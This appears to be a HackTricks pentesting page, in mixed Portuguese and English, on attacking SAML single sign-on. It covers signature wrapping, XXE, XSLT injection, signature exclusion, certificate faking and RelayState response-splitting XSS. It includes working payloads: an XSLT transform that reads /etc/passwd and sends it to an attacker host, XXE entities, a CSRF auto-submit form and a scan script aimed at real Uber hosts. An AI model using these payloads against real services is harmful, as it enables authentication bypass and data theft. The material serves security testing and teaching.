Ataques SAML

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Informações Básicas

SAML Basics

Ferramenta

SAMLExtractor: Uma ferramenta que pode receber uma URL ou uma lista de URLs e retorna a SAML consume URL.

XML round-trip

No XML a parte assinada do XML é salva na memória, então alguma codificação/decodificação é realizada e a assinatura é verificada. Idealmente essa codificação/decodificação não deveria alterar os dados, mas com base nesse cenário, os dados verificados e os dados originais podem não ser os mesmos.

Por exemplo, veja o seguinte código:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Executar o programa contra REXML 3.2.4 ou versões anteriores resultaria na seguinte saída em vez disso:

First child in original doc: Y
First child after round-trip: Z

This is how REXML saw the original XML document from the program above:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

And this is how it saw it after a round of parsing and serialization:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

For more information about the vulnerability and how to abuse it:

XML Signature Wrapping Attacks

In XML Signature Wrapping attacks (XSW), adversaries exploit a vulnerability arising when XML documents are processed through two distinct phases: signature validation and function invocation. These attacks involve altering the XML document structure. Specifically, the attacker injects forged elements that do not compromise the XML Signature’s validity. This manipulation aims to create a discrepancy between the elements analyzed by the application logic and those checked by the signature verification module. As a result, while the XML Signature remains technically valid and passes verification, the application logic processes the fraudulent elements. Consequently, the attacker effectively bypasses the XML Signature’s integrity protection and origin authentication, enabling the injection of arbitrary content without detection.

The following attacks are based on this blog post and this paper. So check those for further details.

XSW #1

  • Strategy: A new root element containing the signature is added.
  • Implication: The validator may get confused between the legitimate “Response -> Assertion -> Subject” and the attacker’s “evil new Response -> Assertion -> Subject”, leading to data integrity issues.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg

XSW #2

  • Difference from XSW #1: Utilizes a detached signature instead of an enveloping signature.
  • Implication: The “evil” structure, similar to XSW #1, aims to deceive the business logic post integrity check.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg

XSW #3

  • Strategy: An evil Assertion is crafted at the same hierarchical level as the original assertion.
  • Implication: Intends to confuse the business logic into using the malicious data.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg

XSW #4

  • Difference from XSW #3: The original Assertion becomes a child of the duplicated (evil) Assertion.
  • Implication: Similar to XSW #3 but alters the XML structure more aggressively.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg

XSW #5

  • Unique Aspect: Neither the Signature nor the original Assertion adhere to standard configurations (enveloped/enveloping/detached).
  • Implication: The copied Assertion envelopes the Signature, modifying the expected document structure.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg

XSW #6

  • Strategy: Similar location insertion as XSW #4 and #5, but with a twist.
  • Implication: The copied Assertion envelopes the Signature, which then envelopes the original Assertion, creating a nested deceptive structure.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg

XSW #7

  • Strategy: An Extensions element is inserted with the copied Assertion as a child.
  • Implication: This exploits the less restrictive schema of the Extensions element to bypass schema validation countermeasures, especially in libraries like OpenSAML.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg

XSW #8

  • Difference from XSW #7: Utilizes another less restrictive XML element for a variant of the attack.
  • Implication: The original Assertion becomes a child of the less restrictive element, reversing the structure used in XSW #7.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg

Ferramenta

You can use the Burp extension SAML Raider to parse the request, apply any XSW attack you choose, and launch it.

XXE

If you don’t know which kind of attacks are XXE, please read the following page:

XXE - XEE - XML External Entity

SAML Responses are deflated and base64 encoded XML documents and can be susceptible to XML External Entity (XXE) attacks. By manipulating the XML structure of the SAML Response, attackers can attempt to exploit XXE vulnerabilities. Here’s how such an attack can be visualized:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Ferramentas

Você também pode usar a extensão do Burp SAML Raider para gerar o POC a partir de uma requisição SAML para testar possíveis vulnerabilidades XXE e vulnerabilidades SAML.

Veja também esta palestra: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

For more information about XSLT go to:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Extensible Stylesheet Language Transformations (XSLT) pode ser usado para transformar documentos XML em vários formatos como HTML, JSON ou PDF. É crucial notar que as transformações XSLT são executadas antes da verificação da assinatura digital. Isso significa que um ataque pode ter sucesso mesmo sem uma assinatura válida; uma assinatura autoassinada ou inválida é suficiente para prosseguir.

Aqui você pode encontrar um POC para verificar esse tipo de vulnerabilidade; na página hacktricks mencionada no início desta seção você pode encontrar payloads.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Ferramenta

Você também pode usar a extensão do Burp SAML Raider para gerar o POC a partir de um SAML request para testar possíveis vulnerabilidades XSLT.

Check also this talk: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

A XML Signature Exclusion observa o comportamento das implementações SAML quando o elemento Signature não está presente. Se esse elemento estiver ausente, a validação da assinatura pode não ocorrer, tornando o processo vulnerável. É possível testar isso alterando os conteúdos que normalmente são verificados pela assinatura.

https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg

Ferramenta

Você também pode usar a extensão do Burp SAML Raider. Intercepte a SAML Response e clique Remove Signatures. Ao fazer isso, todos os elementos Signature são removidos.

Com as assinaturas removidas, permita que a request prossiga para o alvo. Se a Signature isn’t required by the Service

Certificate Faking

Certificate Faking

Certificate Faking é uma técnica para testar se um Service Provider (SP) verifica corretamente se uma SAML Message foi assinada por um Identity Provider (IdP) de confiança. Envolve o uso de um self-signed certificate para assinar a SAML Response ou Assertion, o que ajuda a avaliar o processo de validação de confiança entre SP e IdP.

Como conduzir Certificate Faking

Os passos a seguir descrevem o processo usando a extensão do Burp SAML Raider:

  1. Intercepte a SAML Response.
  2. Se a response contiver uma signature, envie o certificate para SAML Raider Certs usando o botão Send Certificate to SAML Raider Certs.
  3. Na aba SAML Raider Certificates, selecione o certificado importado e clique em Save and Self-Sign para criar um clone self-signed do certificado original.
  4. Volte para a request interceptada no Burp’s Proxy. Selecione o novo certificado self-signed no dropdown XML Signature.
  5. Remova quaisquer assinaturas existentes com o botão Remove Signatures.
  6. Assine a message ou assertion com o novo certificado usando o botão (Re-)Sign Message ou (Re-)Sign Assertion, conforme apropriado.
  7. Encaminhe a message assinada. Autenticação bem-sucedida indica que o SP aceita messages assinadas pelo seu certificado self-signed, revelando potenciais vulnerabilidades no processo de validação das SAML messages.

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion e Service Provider Target Confusion envolvem verificar se o Service Provider valida corretamente o destinatário pretendido de uma response. Em essência, um Service Provider deve rejeitar uma response de autenticação se ela foi destinada a outro provider. O elemento crítico aqui é o campo Recipient, encontrado dentro do elemento SubjectConfirmationData de uma SAML Response. Este campo especifica uma URL indicando para onde a Assertion deve ser enviada. Se o destinatário real não corresponder ao Service Provider pretendido, a Assertion deve ser considerada inválida.

Como funciona

Para que um ataque SAML Token Recipient Confusion (SAML-TRC) seja viável, certas condições devem ser atendidas. Primeiro, deve haver uma conta válida em um Service Provider (referido como SP-Legit). Segundo, o Service Provider alvo (SP-Target) deve aceitar tokens do mesmo Identity Provider que serve o SP-Legit.

O processo do ataque é direto nessas condições. Uma sessão legítima é iniciada com o SP-Legit via o Identity Provider compartilhado. A SAML Response do Identity Provider para o SP-Legit é interceptada. Essa SAML Response interceptada, originalmente destinada ao SP-Legit, é então redirecionada para o SP-Target. O sucesso nesse ataque é medido pela aceitação da Assertion pelo SP-Target, concedendo acesso a recursos sob o mesmo nome de conta usado no SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS na funcionalidade de Logout

A pesquisa original pode ser acessada através this link.

Durante o processo de directory brute forcing, uma página de logout foi descoberta em:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Ao acessar este link, ocorreu um redirecionamento para:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Isso revelou que o parâmetro base aceita uma URL. Considerando isso, surgiu a ideia de substituir a URL por javascript:alert(123); na tentativa de iniciar um ataque XSS (Cross-Site Scripting).

Exploração em Massa

From this research:

A ferramenta SAMLExtractor foi usada para analisar subdomínios de uberinternal.com em busca de domínios que utilizassem a mesma biblioteca. Em seguida, foi desenvolvido um script para direcionar a página oidauth/prompt. Esse script testa XSS (Cross-Site Scripting) inserindo input e verificando se ele é refletido na saída. Nos casos em que o input é realmente refletido, o script marca a página como vulnerável.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

RelayState-based header/body injection to rXSS

Alguns endpoints SAML SSO decodificam RelayState e então o refletem na resposta sem sanitização. Se você consegue injetar novas linhas e sobrescrever o Content-Type da resposta, pode forçar o navegador a renderizar HTML controlado pelo atacante, alcançando reflected XSS.

  • Idea: abuse response-splitting via newline injection in the reflected RelayState. Veja também as notas genéricas em CRLF injection.
  • Works even when RelayState is base64-decoded server-side: supply a base64 that decodes to header/body injection.

Generalized steps:

  1. Build a header/body injection sequence starting with a newline, overwrite content type to HTML, then inject HTML/JS payload:

Concept:

\n
Content-Type: text/html


<svg/onload=alert(1)>
  1. URL-encode the sequence (example):
%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
  1. Base64-encode that URL-encoded string and place it in RelayState.

Example base64 (from the sequence above):

DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
  1. Send a POST with a syntactically valid SAMLResponse and the crafted RelayState to the SSO endpoint (e.g., /cgi/logout).
  2. Deliver via CSRF: host a page that auto-submits a cross-origin POST to the target origin including both fields.

PoC against a NetScaler SSO endpoint (/cgi/logout):

POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==

Padrão de entrega de CSRF:

<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>

Por que funciona: o servidor decodifica RelayState e o incorpora na resposta de uma forma que permite newline injection, permitindo que o atacante influencie os cabeçalhos e o corpo. Forçar Content-Type: text/html faz com que o navegador renderize o HTML controlado pelo atacante a partir do corpo da resposta.

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks